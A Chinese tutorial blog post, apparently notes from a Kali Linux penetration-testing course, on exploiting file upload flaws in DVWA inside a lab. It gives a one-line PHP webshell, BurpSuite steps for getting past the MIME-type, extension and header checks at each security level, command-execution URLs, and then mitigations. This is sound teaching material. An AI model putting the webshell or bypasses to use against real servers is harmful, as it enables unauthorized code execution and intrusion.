Kali Linux渗透测试 088 手动漏洞挖掘-文件上传漏洞
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程Kali Linux渗透测试(苑房弘)博客记录1. 文件上传漏洞php 代码<?php echo shell_exec($_GET['cmd']);?>直接上传 webshell修改文件类型上传 webshellmimetype文件头、扩展名修
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 文件上传漏洞
2. 测试文件上传漏洞
2-1. 正常模式
2-2. 测试 dvwa Low 安全级别
2-2-1. 测试漏洞
2-2-2. 使用 BurpSuite 进行抓包
2-3. 测试 dvwa Medium 安全级别
2-3-1. 测试漏洞
2-3-2. 使用 BurpSui
2-4. 测试 dvwa High 安全级别
2-4-1. 测试漏洞
2-4-2. 使用 BurpSuite 进行抓包
3. 高安全性解决办法
3-1. 解决办法
3-2. 进行测试攻击
4. 多方面的解决办法
1. 文件上传漏洞
php 代码
<?php echo shell_exec($_GET['cmd']);?>
直接上传 webshell
修改文件类型上传 webshell
- mimetype 文件头、扩展名
修改扩展名上传 webshell
- 静态解析文件扩展名可能无法执行
文件头绕过过滤文件上传 webshell
- 删除目录执行权限增加安全性
2. 测试文件上传漏洞
0. 正常模式
1. 测试 dvwa Low 安全级别
1. 测试漏洞
新建 test.php 文件
root@kali:~/Desktop# cat test.php
2. 使用 BurpSuite 进行抓包
关闭截断功能
浏览器配置 BurpSuite 代理
执行文件上传操作并且查看数据包
数据包中规定有文件大小限制,规定只能上传 100000 (100K)字节以内的文件,通过截断代理功能修改参数
2. 测试 dvwa Medium 安全级别
1. 测试漏洞
上传大小合适的 .png 图片文件
查看源代码
#发现对问价格式和文件大小都进行了过滤 <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?>
2. 使用 BurpSuite 进行抓包
开启截断代理
上传 test.php,文件大小合适,类型不合适
关闭截断代理,测试漏洞
10.10.10.132/dvwa/vulnerabilities/upload/../../hackable/uploads/test.php http://10.10.10.132/dvwa/hackable/uploads/test.php?cmd=id
3. 测试 dvwa High 安全级别
1. 测试漏洞
mimetype 查看文件格式
root@kali:~/Desktop# mimetype 22.png 22.png: image/png root@kali:~/Desktop# mv 22.png 22.jpg root@kali:~/Desktop# mimetype 22.jpg 22.jpg: image/jpeg 先查看文件前十个字节判断是image, 然后使用文件后缀名判断具体文件格式。 root@kali:~/Desktop# mimetype 11.php 11.php: application/x-php root@kali:~/Desktop# mv 11.php 11.jpg root@kali:~/Desktop# mimetype 11.jpg 11.jpg: application/x-php
查看源码
# 发现是完全按照文件真实扩展名来判断的 <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?>
2. 使用 BurpSuite 进行抓包
测试修改文件类型,开启截断代理
测试添加后缀文件类型
在文件名后面添加 .jpg
测试漏洞
http://10.10.10.132/dvwa/hackable/uploads/test.php.jpg?cmd=id
3. 高安全性解决办法
1. 解决办法
对文件的内容头信息(文件前十个字节)进行过滤,判断文件头信息里是否是真实的文件类型
2. 进行测试攻击
删除 dvwa 多余文件
root@metasploitable:/var/www/dvwa/hackable/uploads# ls dvwa_email.png
上传文件,截断代理
此安全性防护级别已经超越了 dvwa 的 High 防护级别
漏洞利用
http://10.10.10.132/dvwa/hackable/uploads/icon-console.php.jpeg?cmd=id
4. 多方面的解决办法
- 在服务器端对文件扩展名进行静态解析
对目录权限进行设置(删除执行权限)
root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/ drwxr-xr-x 2 www-data www-data 4096 Mar 3 16:27 uploads/ root@metasploitable:/var/www/dvwa/hackable# chmod a-x uploads/ root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/ drw-r--r-- 2 www-data www-data 4096 Mar 3 16:27 uploads/
更多推荐
所有评论(0)